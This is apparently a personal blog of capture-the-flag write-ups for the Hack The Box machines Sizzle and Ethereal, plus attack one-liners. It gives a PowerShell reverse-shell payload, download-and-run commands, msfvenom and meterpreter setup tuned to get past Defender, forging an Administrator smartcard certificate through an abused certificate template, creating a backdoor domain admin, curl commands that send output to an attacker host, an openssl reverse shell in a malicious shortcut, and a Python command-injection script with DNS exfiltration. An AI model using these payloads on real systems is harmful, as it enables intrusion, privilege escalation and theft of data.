[sizzle.htb.local]: PS
C:\Users\amanda\Documents> $ExecutionContext.SessionState.LanguageMode


Fortunately version 2 of Powershell is available, so this can be bypassed with

[sizzle.htb.local]: PS C:\Users\amanda\Documents> powershell.exe -version 2 -c 'write-host $ExecutionContext.SessionState.LanguageMode'


I wanted to get a meterpreter shell to be able to forward not externally exposed ports. After zillions of failed attempts to run a payload despite Defender (Ebowla, unicorn…) this was the method that worked reliably for me:

Get a simple ‘nishang’ shell, by running this code …

$client = New-Object System.Net.Sockets.TCPClient('',8998);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

… from a script on my webserver:

[sizzle.htb.local]: PS C:\Users\amanda\Documents> powershell.exe -version 2 -c "IEX (New-Object Net.WebClient).DownloadString('')"

I receive the simple shell with metasploit using this handler:

use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set LPORT 8998
exploit -j

Prepare a psh (powershell) payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=8999 -f psh -o sh.ps1

Start ahandler for meterpreter – 2nd stage encoding iss crucial, otherwise the shell dies immediately, killed by Defender I guess:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 8999
set ExitOnSession false
set EnableStageEncoding true
exploit -j

I run the powershell payload via the msf module, using the simple shell session (1):

use post/windows/manage/powershell/load_script
set SCRIPT sh.ps1

… and I now have two sessions. Since msf I often needed two attempts, so I have now simple shell session 1 and meterpreter session 3:

msf5 post(windows/manage/powershell/load_script) > sessions

Active sessions

  Id  Name  Type                     Information          Connection
  --  ----  ----                     -----------          ----------
  1         shell x64/windows                    -> (
  3         meterpreter x64/windows  HTB\amanda @ SIZZLE -> (

The benefit of the meterpreter shell is the option to route otherwise inaccessible ports to my Kali box. I set en entry for the to-be-created socks proxy server in my /etc/procxhains.conf

# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 9050
socks4 8088

A socks proxy is created as a job in metasploit:

use auxiliary/server/socks4a
set SRVPORT 8088

… and I finally route traffic for sizzle through the meterpreter session 3

route add 3

Preparing a Certificate Signing Request on behalf of the Administrator. [>> Contents]

Certificate templates dictate some of the properties of a certificate, so you only need to add the attributes and extensions that you can actually enforce. I created all CSRs with the Certificates MMC (certmgr.msc) for the current user.

The request has to include the UPN in the Subject Alternative Name. In case some non-default name-mapping is in place I also make sure the subject name is correct – as cross-checked with the properties of the Administrator user in AD, in amanda’s PSSession:

[sizzle.htb.local]: PS C:\> $users = get-aduser -filter *
[sizzle.htb.local]: PS C:\> $users
DistinguishedName : CN=Administrator,CN=Users,DC=HTB,DC=LOCAL
Enabled           : True
GivenName         :
Name              : Administrator
ObjectClass       : user
ObjectGUID        : fcf33152-0104-4ccb-8db6-3ec7f3549ca8
SamAccountName    : Administrator
SID               : S-1-5-21-2379389067-1826974543-3574127760-500
Surname           :
UserPrincipalName :

Note that the UPN is empty –  as is the UPN of all AD Users. But yet, amanda’s logon certificate had the UPN, so some ‘default name rounting’ is in place.

Now craft a custom request, using this information:

Make also sure that the key is exportable, and matches the minimum size. The minimum size is displayed in the certutil dump of the templates’ properties inspected earlier.

    msPKI-Minimal-Key-Size = "2048" 0x800

For usage on a smartcard, the cards chip and middleware also needs to support that size. I use a ‘legacy’ crypto provider which does not matter.

Next – next – finish, save the BASE64 file. Check the contents of the request with certutil to make sure the UPN is included

certutil Administrator-2018bit.req.txt...
Attribute[3]: 1.2.840.113549.1.9.14 (Certificate Extensions)
Value[3][0], Length = ae
Certificate Extensions: 5 Flags = 0, Length = 2b
Subject Alternative Name
    Other Name:
        Principal Name=administrator@htb.local

Editing templates and first attempt of attack setup: msf on Windows! [>> Contents]

I installed metasploit directly on Windows and repeated all the steps described above. I used a Windows domain controller, because I wanted to  forward DNS queries from my DC to sizzle.htb.local, using the Sizzle box as a Conditional Forwarder for the domain htb.local:

It is not sufficient to configure a hosts record for sizzle.htb.local as the Windows logon requires correct replies to queries for several service  – SRV – records. But I can not configure Sizzle as the primary DNS server for that box – as this box also had to maintain the openVPN connection! So my DC forwarded requests to Sizzle:

Default Server:  localhost

> sizzle.htb.local
Server:  localhost

Non-authoritative answer:
Name:    sizzle.htb.local
Addresses:  dead:beef::6d6e:7369:708a:e8a8

After I started the WinRM session on this Windows DC, I could automagically access services on Sizzle via Microsoft Management Consoles, as described here, and it seems the externally available RPC/DCOM ports were sufficient. I was able to use also other MMCs, such as Active Directory Users and Computers:

… and the desired Certificate Templates console. I re-targeted my console to Sizzle:

Here is the template SSL we want to abuse:

Editing certificate templates and requesting ‘malicous’ client auth certificates. PSSession Let-Down. [>> Contents]

I just  change the Extended Key Usage / Application Policy Extensions to include also Client Authentication

After saving the template, new certificates submitted at the /certsrv web application will show the updated Extended Key Usages. I am using the ‘advanced’ request options – as no new key is generated but just a file HTTP POSTed, there is no ActiveX control troublsehooting involved:

Note: You could add the UPN ‘again’ in the Attributes field, using the sytax


But this is only required if the CSR does not yet contain the UPN, and using the form field requires an additional registry flag to be set at the CA. However, re-adding the UPN here does not hurt either…

The certificate is again returned immediately – it shows the intended UPN and these EKUs

Client Authentication (
Server Authentication (

However, logging on to the PSSession fails! It also does for a certificate for the other Domain Administrator sizzler@htb.local, it does not help to remove Server Authentication or spell the domain as HTB.LOCAL. So Domain Admins are not alloed to use WinRM:

So I need to turn to the harder option 2 …

Creating a hardware logon token for impersonating the Administrator [>> Contents]

I have to import the certificate to a USB crypto token (which has the same type of chip as a smartcard)!

First I need to go back to the Certificate templates console and add also the EKU Smartcard Logon. I also removed Server Authentication (Superfluous extensions may or may not break something – it’s all up to the application using a certificate).

Then I re-submit the CSR for administrator@HTB.LOCAL (you don’t have to create a new CSR) and receive a new certificate with these EKUs. The certificate is imported to the local user’s store where I had created the CSR – double-click and confirm the import to Personal.

This is literally the key to the kingdom:

Fortunately, I have some SafeNet eTokens for tests!

To transfer the certificate and key, it has to be exported to a pfx file first. Again, I use certmgr.msc – copy to file, select to export also the key:

I installed the SafeNet Authentication Client – middleware / crypto provider plus management tools, set a PIN, and use the function to import a certificate from a (pfx) file:

Proxies, fake DNS, and forwarding ports once more with proxychains socat [>> Contents]

The following turned out to be more difficult than expected – I am summarizing hours of testing as: Seems you cannot force Kerberos over a proxy on Windows, ‘proxychains-style’.

I tested several different proxy tools for Windows, the most promising was proxyfier. The simpler ones can’t handle the more low-level applications anyway, but proxyfier has an option to deal with Windows services. it seems it can work as a Winsock proxy. If I recall correctly, there are differen sorts of proxies in Windows, and SMB uses winsock. So least I finally could forward SMB that way, so accessing share anonymously works. But as soon as I want to use net use /smartcard, I see packets sent to TCP port 88, getting nowhere.

Proxyfier even warned me that a certain ruby application (msf) would run into an infinite loop if I tried to proxy it :-) But I could for my life not get TCP 88 proxied on Windows, so I had to re-design the whole setup!

Back to Kali  and using proxychains socat to forward all the ports routed over the meterpreter session! Kali would not care about Windows-protocol specifics, I’d call that ‘port laundering’!

I proxychain socat-ed nearly everything I saw in netstat on Sizzle, TCP and UDP, plus an RPC high port I saw later in wireshark.

Example command for TCP and UDP 88:

proxychains socat TCP-LISTEN:88,fork TCP: &
proxychains socat UDP-LISTEN:88,fork,reuseaddr UDP: &

UDP Ports forwarded:

88, 389, 464

TCP ports forwarded – the RPC high ports seem to change, so this list looked a bit different for every join. This is the ‘union’ of all ports I ever used.


Note that the WinRM ports 5985 and 5986 remained forwarded ‘normally’ without proxychains socat all the time! So I am using one Windows box for WinRM, and I add another Windows box to the setup as the future ‘victim’ domain member.

I did not forward DNS as that would screw up the discovery of Kerberos and LDAP services: The Windows victim client will believe that my Kali box is the domain controller sizzle.htb.local, and it accessed it under my local 192.168.x.y address. When I would forward DNS queries to the true sizzle DC, it would respond with service records pointing to … which the victim Windows box would not be able to locate. I tried some crazy things with ARP poisoning, but the solution is simpler: I set up dnsmasq as a fake DNS server on my Kali box and added all the required SRV records:

dnsmasq uses the dnsmasqhosts file instead of /etc/hosts plus settings in the dnsmasq.conf file that make the box the authoritative DNS server for htb.local


192.168.x.y sizzle.htb.local





Resources: List of the SRV records, how the locator process works. I am assuming that the standard name for the site was used – Default-First-Site-Name – which is confirmed by testing the record with nslookup as amanda, directly on sizzle. I omit the record containing the domain GUID though that can be found somewhere in AD (AD Sites and Services or adsiedit.msc).

I discovered some of the ports and records I had missed step by step, by sniffing the traffic on unsuccessful domain joins and net use attempts. For example, having received the info about the proper logon server, the client send an LDAP query over UDP 389 – easy to miss as an important port to be forwarded.

Joining a Windows client to the htb.local domain [>> Contents]

The victim client is a physical Windows 7 box. Redirecting the crypto token over RDP did work as well as connecting USB on a Windows VM – but I did not want to risk anything and rather use a physical USB connection.

On this Windows box I configure the internal IP address of Kali box as the only DNS server. dnsmasq returns all queries for the htb.local domain, and it also forwards other DNS queries to the internet.

I test with some of the SRV records (IP obfuscated):

Default Server:  sizzle.htb.local
Address:  192.168.x.y

> sizzle.htb.local
Server:  sizzle.htb.local
Address:  192.168.x.y

Name:    sizzle.htb.local
Address:  192.168.x.y

> set query=SRV
> _kerberos._tcp.dc._msdcs.HTB.LOCAL
Server:  sizzle.htb.local
Address:  192.168.x.y

_kerberos._tcp.dc._msdcs.HTB.LOCAL      SRV service location:
          priority       = 0
          weight         = 0
          port           = 88
          svr hostname   = sizzle.htb.local
sizzle.htb.local        internet address = 192.168.x.y

For completenes: I also add an LMHOSTS file for the domain HTB, and could thus see WINS-like names with nbtstat – but this is definitely not suffcient to locate the domain.

I join the machine to the domain using the GUI / Properties of My Computer, change computer name or domain. Enter the new domain:

Enter amanda’s credentials – she can add her box to the domain:


In parallel, I can check in the other Windows PC – in the PSSession – that my test machine has indeed been added to the domain!

[sizzle.htb.local]: PS C:\Users\amanda\Documents> get-adcomputer -filter *

DistinguishedName : CN=SIZZLE,OU=Domain Controllers,DC=HTB,DC=LOCAL
DNSHostName       : sizzle.HTB.LOCAL
Enabled           : True
Name              : SIZZLE
ObjectClass       : computer
ObjectGUID        : a4f7617b-9228-40b2-9e14-5b3aedb489bd
SamAccountName    : SIZZLE$
SID               : S-1-5-21-2379389067-1826974543-3574127760-1001
UserPrincipalName :

DistinguishedName : CN=TESTPC,CN=Computers,DC=HTB,DC=LOCAL
DNSHostName       :
Enabled           : True
Name              : TESTPC
ObjectClass       : computer
ObjectGUID        : 277cd1c8-0fd1-4816-a63e-bb0653c0ee59
SamAccountName    : TESTPC$
SID               : S-1-5-21-2379389067-1826974543-3574127760-3102
UserPrincipalName :

[sizzle.htb.local]: PS C:\Users\amanda\Documents>

Having recovered from the shock that this actually worked, I reboot the Windows 7 box and logon as amanda to the domain (and the PC) with her user name and password!

On the Kali box proxychains shows extensive communication over ports 88, 139, 445, 389,…, like this:


Summary of the solution so far [>> Contents]

As amanda, I confirm that could again run the MMCs that I already used before on the Windows attack DC – yes, I can again edit certificate templates and I can also see one more computer in AD Users and Computers :-)

  • Start hackthebox VPN on Kali.
  • Get a default User certificate for amanda once. It is persistent and will last until its or the CA’s expiry, not affected by box reset.
  • Forward WinRM ports to Windows box 1, start WinRM session.
  • Start a  simple shell, from there a meterpreter shell.
  • Start a socks proxy, and ioute traffic through the meterpreter session.
  • Forward all ports again from Kali to your test network using proxychains socat.
  • Setup dnsmasq on Kali tas fake htb.local server, host all SRV records.
  • On Windows box 2, configure your Kali’s internal IP as the only DNS server.
  • Join Windows box 2 to the domain htb.local as HTB\amanda
  • Logon to Windows box 2 as amanda
  • Edit the certificate template SSL to include required EKUs.
  • Prepare a CSR with the admin’s names.
  • Submit the file at /certsrv as amanda.
  • Import the certificate, export key and cert to a PFX, import it to a smartcard.

Finally: Using the Administrator’s token! [>> Contents]

Plug in the token and try net use! The smart card prompts for the PIN, and finally connects to c$ successfully!

C:\hackthebox>net use \\sizzle.htb.local\c$ /smartcard
Reading smart cards........
The following errors occurred reading the smart cards on the system:
No card on reader 2
No card on reader 3
No card on reader 4
No card on reader 5
Using the card in reader 1.  Enter the PIN:
The command completed successfully.

C:\hackthebox>dir \\sizzle.htb.local\c$
 Volume in drive \\sizzle.htb.local\c$ has no label.
 Volume Serial Number is 9C78-BB37

 Directory of \\sizzle.htb.local\c$

03.07.2018  17:22    <DIR>          Department Shares
02.07.2018  22:29    <DIR>          inetpub
02.12.2018  04:56    <DIR>          PerfLogs
26.09.2018  06:49    <DIR>          Program Files
26.09.2018  06:49    <DIR>          Program Files (x86)
11.07.2018  23:59    <DIR>          Users
06.05.2019  15:20    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  10.516.963.328 bytes free

C:\hackthebox>type \\sizzle.htb.local\C$\users\administrator\desktop\root.txt

As amanda start a session as Administrator:

runas /smartcard cmd

Again the token asks for the PIN, and I finally have a shell!


Creating a (not really stealthy) backdoor admin [>> Contents]

I can now create another domain admin – I don’t even have to bother with powershell or net use as I could start any GUI tool from directly from that shell, e.g.


Create a Test OU container and a Test User within in:

Add the user to some interesting groups:

Switch the user and logon as HTB\testuser. Now I have my own domain admin desktop!


Simple Ping Sweep, Port Scan, and Getting Output from Blind Remote Command Execution

Just dumping some quick and dirty one-liners! These are commands I had used to explore locked-down Windows and Linux machines, using bash or powershell when no other binaries were available or could be transferred to the boxes easily.

Trying to ping all hosts in a subnet


for i in $(seq 1 254); do host=192.168.0.$i; if timeout 0.1 ping -c 1 $host >/dev/null; then echo $host is alive; fi; done

Edit – a great improvement of this is the following, recommended by 0xdf:

for i in {1..254}; do (host=192.168.0.$i; if ping -c 1 $host > /dev/null; then echo $host alive; fi &); done


Windows – not the fastest as there is no timeout option for Test-Connection:

powershell -c "1..254 | % {$h='192.168.0.'+$($_); if ($(Test-Connection -Count 1 $h -ErrorAction SilentlyContinue)) { $('host '+$h+' is alive')|Write-Host}}"

Scanning open ports


host=; for port in {1..1000}; do timeout 0.1 bash -c "echo >/dev/tcp/$host/$port && echo port $port is open"; done 2>/dev/null

… or if nc is avaiable:

for port in $(seq 1 1000); do timeout 0.1 nc -zv $port 2>&1 | grep succeeded; done

Windows – not using Test-NetConnection in order to control the timeout:

powershell -c "$s=$('');1..1000 | % {$c=New-Object System.Net.Sockets.TcpClient;$c.BeginConnect($s,$_,$null,$null)|Out-Null;Start-Sleep -milli 100; if ($c.Connected) {$('port '+$_+' is open')|Write-Host }}"

Getting output back

… if all you can is running a command blindly, and if there is an open outbound port. In the examples below is the attacker’s host – on which you would start a listener like:

nc -lvp 80


curl -d $(whoami)


powershell -c curl -method POST -body $(whoami)

Echo Unreadable Hex Characters in Windows: forfiles

How to transfer small files to a locked-down Windows machine? When there is no option to copy, ftp, or http GET a file. When powershell is blocked so that you can only use Windows cmd commands?

My first choice would be to use certutil: certutil is a built-in tool for certificate and PKI management. It can encode binary certificate files – resulting in the familiar PEM output, starting with “—-BEGIN CERTIFICATE—–“. But it can actually encode any binary file! So you can ‘convert’ an executable to a certificate encoded in readable characters, and copy the fake PEM certificate by echo-ing out each of its lines on the target machine. Then the original exectutable  is recovered by decoding the file again with certutil.

But what if certutil is also blocked, and you need to write / paste unreadable characters?

On Linux, you could run

echo -e "\x41"


But Windows echo does not have an option to translate characters encoded in hex automatically.

The command line tool forfiles allows to do this, albeit in a bit convoluted way:

forfiles processes files in a directory, interprets the files’ metadata. The examples in the help information give an overview about what the tool is typically used for:

forfiles /?

FORFILES /S /M *.txt /C "cmd /c type @file | more"
FORFILES /P C:\ /S /M *.bat
FORFILES /D -30 /M *.exe
/C "cmd /c echo @path 0x09 was changed 30 days ago"
FORFILES /D 01.01.2001
/C "cmd /c echo @fname is new since Jan 1st 2001"
FORFILES /D +8.5.2019 /C "cmd /c echo @fname is new today"
FORFILES /M *.exe /D +1
FORFILES /S /M *.doc /C "cmd /c echo @fsize"
FORFILES /M *.txt /C "cmd /c if @isdir==FALSE notepad.exe @file"

For each file in a filtered set a command can be executed with option /C. The interesting example is the one referring to

echo @path 0x09

The help explains:

To include special characters in the command
line, use the hexadecimal code for the character
in 0xHH format (ex. 0x09 for tab). Internal
CMD.exe commands should be preceded with
"cmd /c".

You want to run a single command, so you need to run forfiles once. Thus create an empty directory, cd to it, and create a single dummy file within it:

C:\test>echo test >test.txt

Then run echo [hex string] for that single file, like this. It outputs the interpreted characters corresponding to the hexadecimal values:

C:\test>forfiles /c "cmd /c echo 0x410x420x430x01"



Remaining issue: Newlines are added before and after the string. Especially the one at the beginning could be problematic if the operating system would try to find the magic bytes for a certain type of file there.

The first newline is removed by redirecting echo within the enclosed command (whereas redirecting the whole forfiles command would keep it)

C:\test>forfiles /c "cmd /c echo 0x410x420x430x01 >out.txt"

C:\test>type out.txt


The trailing extra line is a superfluous carriage return + linefeed. It can be removed by using the set command in this way:

set /p=[String]

This sets a variable without specifying a variable name, so the error level is set to 1. Nevertheless, it outputs the value of this non-existing variable – without an appended line break.

C:\test>forfiles /c "cmd /c set /p=0x410x420x430x01 >out.txt"

C:\test>type out.txt

This command seems to ‘hang’ and you need to ENTER once more to complete it. cmd is waiting for input here, and you can add input from the nul device – then the command is completed in one step:

C:\test>forfiles /c "cmd /c <nul set /p=0x410x420x430x01 >out.txt"

But there is still one a blank character (Hex 32) appended at the end:

C:\test>powershell Get-Content out.txt -encoding Byte

This blank goes away if no blank is entered between the hex string and the >:

C:\test>forfiles /c "cmd /c <nul set /p=0x410x420x430x01>out.txt"

C:\test>powershell Get-Content out.txt -encoding Byte

Remaining limitation: The contents of the variable must not begin with special characters that will trip up the set command. E.g. an equal sign at the beginning is a bad character (and it does not matter if this character is hex-encoded or not).

Ethereal @ hackthebox: Certificate-Related Rabbit Holes

This post is related to the ‘insanely’ difficult hackthebox machine Ethereal (created by egre55 and MinatoTW) that was recently retired. Beware – It is not at all a full comprehensive write-up! I zoom in on openssl, X.509 certificates, signing stuff, and related unnecessary rabbit holes that were particularly interesting to me – as somebody who recently described herself as a Dinosaur that supports some legacy (Windows) Public Key Infrastructures, like the Cobol Programmers tackling Y2K bugs.

Ethereal was insane, because it was so locked down. You got limited remote command execution by exfiltrating the output of commands over DNS, via a ‘ping’ web tool with a command injection vulnerability. In order to use that tool you had to find credentials in a password box database that was hidden in an image of a DOS floppy disk buried in other files on an FTP server. See excellent full write-ups by 0xdf and by Bernie Lim, or watch ippsec’s video.

Regarding the DNS data exfiltration I owe to this m0noc’s great video tutorial. You parse the output of the command in a for loop, and exfil data in chunks that make up a ‘host name’ sent to your evil DNS server. I am embedding my RCE script below.

openssl – telnet-style

To obtain a reverse shell and to transfer files, you had to use openssl ‘creatively’ –  as a telnet replacement, running a ‘double shell’ with different windows for stdin and stdout.

In order to trigger this shell as ‘the’ user- the one with the flag, named jorge, you needed to overwrite an existing Windows shortcut file pointing to the Visual Studio 2017 executable (.LNK). I created ‘malicious’ shortcuts using the python library pylnk, on a Windows system. The folder containing that file was also the only place at all you could write to the file system as the initial ‘web injection user’, alan. I noticed that the overwritten LNK was replaced quickly, at least every minute – so I also hoped that a simulated user will ‘click’ the file every minute.

Creating certificate and key …

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Listening on the only ports open for outgoing traffic with two ‘SSL servers’:

openssl s_server -key key.pem -cert cert.pem -port 73
openssl s_server -key key.pem -cert cert.pem -port 136

The Reverse shell command to be used in the LNK file uses the ‘SSL client’:

C:\windows\System32\cmd.exe /c "C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect | cmd 2>&1 | C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -connect 2>&1 &"

The first rabbit hole I fell into was that I used openssl more ‘creatively’ than what was maybe needed. Though I found this metasploit module with a double telnet-style shell for Linux I decided to work on replacing the LNK first, and only go for a reverse shell if a simple payload in the LNK would work.

Downside of that approach: I needed another way of transferring the LNK file! If I had the reverse shell, already I’d been be able to use ‘half of it’ for transferring a file in the spirit of nc.

1) Run a ‘SSL server’ locally to be prepared for sending the file:

openssl s_server -quiet -key key.pem -cert cert.pem -port 73 <to_be_copied

2) Receive it using the SSL client:

openssl.exe s_client -quiet -connect >to_be_copied

The usual ways to transfer files were blocked, for example certutil. certutil and certreq are the tools that are sort of an equivalent of openssl on Windows. certutil’s legit purpose is to manage the Windows PKI, manage certificate stores, analzye certificates, publish to certificate stores, download certificate revocation lists, etc. … The latter option makes it a ‘hacker tool’ because it lets you download other files like wget or curl (depending on the version of Windows and Defender’s vigilance doing heuristic checks of the action performed, rather than on the EXE itself).

Nearly missing out on openssl

When I saw openssl – installed on Windows! – I hoped I was on to something! However, I nearly let go of openssl as I failed to test it properly. I  ran openssl help in my nslookup shell, and did not get any response. Nearly any interesting EXE was blocked on Ethereal, so it came not as a surprise that openssl seemed to be, too.

Only after I was stuck for quite a while and a kind soul gave me a nudge to not abandon openssl too fast, I realized that the openssl help output is actually sent to standard error, not standard out.

You can redirect stderr to stdout using 2>&1 – but if you run the command ’embedded’ in the for loop (see python script below), you better escape both special characters like this:

'C:\progra~2\openssl-v1.1.0\bin\openssl.exe help 2^>^&1'

File transfer with openssl base64 and echo

My solution was to base64 encode the file locally with openssl (rather than using base64, just ‘to play it safe’), to echo out the file in  the DNS shell as alan on Ethereal, then base64 decode it and store it in the final location. I had issues with echoing out the full content in one line, so I did not use the –A option in openssl base64, but echoed one line after the other.

I missed that I can write to the folder – I believed I could only write to this single LNK file. So I had to echo to the exact same file that I would also use as the final target, like so:

type target.lnk | openssl base64 -d -out target.lnk

Below is my final RCE script for a simple ‘shell’ – either executing input commands 1:1 or special (series of) commands using shortcuts. E.g. for ‘echo-uploading’ a file, decoding, and checking the result I used

F shell.lnk

In case I wanted to run a command without having to worry about escaping I can also run it blind, without any output via nslookup.


import requests
import readline
import os
import sys

url = 'http://ethereal.htb:8080/'
headers = { 'Authorization' : 'Basic YWxhbjohQzQxNG0xN3k1N3IxazNzNGc0MW4h' }

server_dns = ''
A_dns = 'D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z.'
template = ' & ( FOR /F "tokens=1-26" %a in (\'_CMD_\') DO ( nslookup ' + A_dns + ' ' + server_dns + ') )'
template_blind = ' & _CMD_'
template_lnk = '( FOR /F "tokens=1-26" %a in (\'_CMD_\') DO ( nslookup ' + A_dns + ' ' + server_dns + ') )'
# CSRF protections not automated as they did not change that often
# Copy from Burp, curl etc.
postdata = { 
    '__VIEWSTATE' : '/wEPDwULLTE0OTYxODU3NjhkZG8se05Gp91AdhB+bS+3cb/nwM7/1XnvqTtUaEoqfbcF',
    '__EVENTVALIDATION' : '/wEdAAMwTZWDrxbqRTSpQRwxTZI24CgZUgk3s462EToPmqUw3OKvLNdlnDJuHW3p+9jPAN/MZTRxLbqQfS//vLHaNSfR4/D4qt+Wcl4tw/wpixmG9w==',
    'ctl02' : ''

target_lnk = 'C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk'
target_lnk_dos = 'C:\Users\Public\Desktop\Shortcuts\Visual~1.lnk'
target_dir = 'C:\Users\Public\Desktop\Shortcuts\\'

openssl_path = 'C:\progra~2\openssl-v1.1.0\\bin\openssl.exe'

ask = True

def create_echo(infile_name, outfile_path):
    # File name must not include blanks
    b64_name = infile_name + '.b64'

    echos = []

    if not os.path.isfile(infile_name):
        print 'Cannot read file!'
        return echos
        os.system('openssl base64 -in ' + infile_name + ' -out ' + b64_name)
        f = open(b64_name, 'r')
    i = 0
    for line in f:
        towrite = line[:-1]
        if i == 0:
            echos += [ 'cmd /c "echo ' + towrite + ' >' + outfile_path + '"' ] 
            echos += [ 'cmd /c "echo ' + towrite + ' >>' + outfile_path + '"' ] 
        print line[:-1]
        i += 1

    return echos

def payload(cmd):
    return template.replace('_CMD_', cmd)

def payload_blind(cmd):
    return template_blind.replace('_CMD_', cmd)

def send(payload):
    print payload
    print ''
    if ask == True:
       go = raw_input('Enter n for discarding the command >>: ')
       go = 'y'

    if go != 'n':
        postdata['search'] = payload
        response =, data=postdata, headers=(headers))
        print 'Status Code: ' + str(response.status_code)
        print 'Not sent: ' + cmd

while True:

    cmd = raw_input('\033[41m[dnsexfil_cmd]>>: \033[0m ')

    if cmd == 'quit': 

    elif cmd == 'dontask':
        ask = False
        print 'ask set to: ' + str(ask)
    elif cmd == 'ask':
        ask = True
        print 'ask set to: ' + str(ask)

    elif cmd[0:2] == 'F ':
        infile = cmd[2:]
        echos = create_echo(infile, target_lnk_dos)
        link = ' & '
        cmd_all_echos = link.join(echos)

    elif cmd[0:2] == 'B ':
        cmd_blind = cmd[2:]
    elif cmd == 'decode':
        cmd = 'type "' + target_lnk + '" | ' + openssl_path + ' base64 -d -out "' + target_lnk + '"'

    elif cmd == 'showdir':
        cmd = 'dir ' + target_dir

    elif cmd == 'showfile':
        cmd = 'type "' + target_lnk + '"'


Finding that elusive CA certificate

After I finally managed to run a shell as jorge I fell into lots of other rabbit holes – e.g. analyzing, modifying, and compiling a recent Visual Studio exploit.

Then I ran tasklist for the umpteenth time, and saw an msiexec process! And lo and behold, even my user jorge was able to run msiexec! This fact was actually not important, as I found out later that I should wait for another (admin) user to run something.

I researched ways to use an MSI for applocker bypass. As described in detail in other write-ups you could use a simple skeleton XML file to create your MSI with the WIX toolset. WIX was the perfect tool to play with at Christmas when I did this box – it’s made up of executables called light.exe, candle.exe, lit.exe, heat.exe, shine.exe, torch.exe, pyro.exe, dark.exe, melt.exe … :-)

So I also created a simple MSI, ran it as jorge and nothing happened. Honestly, I cannot tell with hindsight if that should have possibly worked – just without any escalation to an admin or SYSTEM context – or I made an error again. But because of my focus on all things certificates and signatures, I suspected the MSI had to be signed – that would also be in line with the spirit of downlocking at this box.

Signed code does only run of the certificate is trusted. So I needed to sign the MSI either with a ‘universally’ / publicly trusted certificate (descending from a CA certified in the Microsoft Root Program) or there was possibly a key and certificate on the box I have not found yet. Both turned out to be another good chance for falling into rabbit roles!

Testing locally with certificates in the Windows store

I used one of my Windows test CAs and issued a Code Signing certificate, then used signtool to sign a test MSI. The reference to the correct store is in this case the CN of the Subject Name which should be unique in your store:

signtool sign /n Administrator /v pingtest.msi

The MSI could be ‘installed’ and my ping worked on a test Windows box. So I knew that the signing procedure worked, but I needed a certificate chain that Ethereal will trust. With hindsight, giving my false assumption that jorge will run the MSI, I should also have considered that jorge will install a Root CA certificate of my liking into his (user’s) Root certificate store. It should theoretically be doable fiddling with the registry only (see second hilarious rabbit hole below), but normally I would certutil for that. And certutil was definitely blocked.

Publicly trusted certificate

I do have one! Our Austrian health insurance smartcards have pre-deployed keys, and you can enroll for X.509 certificates for those keys. So on a typical Windows box, code signed with this ID card would run. But there is a catch: Windows does not – anymore, since Vista if I recall correctly – pre-populate the store with all the Root CAs certified by Microsoft. If you try to run a signed MSI (or visit an HTTPS website, or read a signed e-mail), then Windows will download the required root certificate as needed. But hackthebox machines are not able to access the internet.

Yet, in despair I tried, for the unlikely case all the roots were there. Using signtool like so, it will let me pick the smartcard certificate, and I was prompted for the PIN:

signtool sign /a /v pingtest.msi

So if my signed signed had screwed up the box, I could not have denied it – a use-case of the Non-Repudation Key Usage ;-)

Uploaded my smartcard-signed MSI. And failed to run it.

Ages-old Demo CA – and how to use openssl for signing

There was actually a CA on the box, sort of – the demoCA that comes with the openssl installation. A default CA key and certificate comes with openssl, and the perl script can be used to created ‘database-like files and folders’. In despair I used this default CA certificate and key – maybe it was was trusted as kind of subtle joke? I did not bother to look closely at the CA certificate – otherwise I should have noticed it had expired long ago :-)

The process I tested for signing was the same I used later. As makecert is the tool that many others have used to solve this, I quickly sum up the openssl process.

You can either use the openssl ca ‘module’ – or openssl x509. The latter is a bit simpler as you do not need to prepare the CA’s ‘database’ directories.

Of course I used Windows GUI tools to create the request :-)

  • Start, Run, certmgr.msc
  • Personal, All Tasks, Advanced Operations, Create Custom Request
  • Custom PKCS#10 Request.
  • Extensions:
    Key Usage = Digital Signature
    Extended Key Usage = Code Signing
  • Private Key, Key Options: 2048 Bit
  • BASE64 encoding

The result is a BASE64 encoded ‘PEM’ certificate signing request. You can sign with the demoCA’s key like this – I did this on my Windows box.

openssl x509 -req -in req.csr -CA cacert.pem -CAkey private\cakey.pem -CAcreateserial -out codesign.crt -days 500 -extfile codesign.cnf -extensions codesign

There are different ways to make sure that the Code Signing Extended Key Usage gets carried over from the request to the certificate, or that it is ‘added again’. In the openssl.cnf config file (default or referenced via -config) you can e.g. configure to copy_extensions.

In the example above, I used a separate file for extensions. (Values seem to be case-sensitive, also on Windows).

[ codesign ]


To complete the process, the Root CA certificate is imported in the the Trusted Root Certification Authorities store in certmgr.msc,  and the Code Signing certificate is imported into Personal certificates in certmgr.msc. In case the little key icon does not show up, key and certificate have not been properly united, which can be fixed with

certutil -repairstore -user my [Serial Number of the cert]

The file is signed without issues, however the resulting chain violates basic requirements for certificate path validation: The CA’s end of life was in 1998.

certutil cacert.pem

X509 Certificate:
Version: 1
Serial Number: 04
Signature Algorithm:
Algorithm ObjectId: 1.2.840.113549.1.1.4 md5RSA
Algorithm Parameters:
05 00
CN=SSLeay/rsa test CA
Name Hash(sha1): 4f28bdc33fb78c854e2ceb26210f981bb73ce9ea
Name Hash(md5): ee7084bbed50615d1e118ff2ada590cf

NotBefore: 10.10.1995 00:32
NotAfter: 06.07.1998 00:32

CN=SSLeay demo server
O=Mincom Pty. Ltd.

Weird way to find a CA certificate

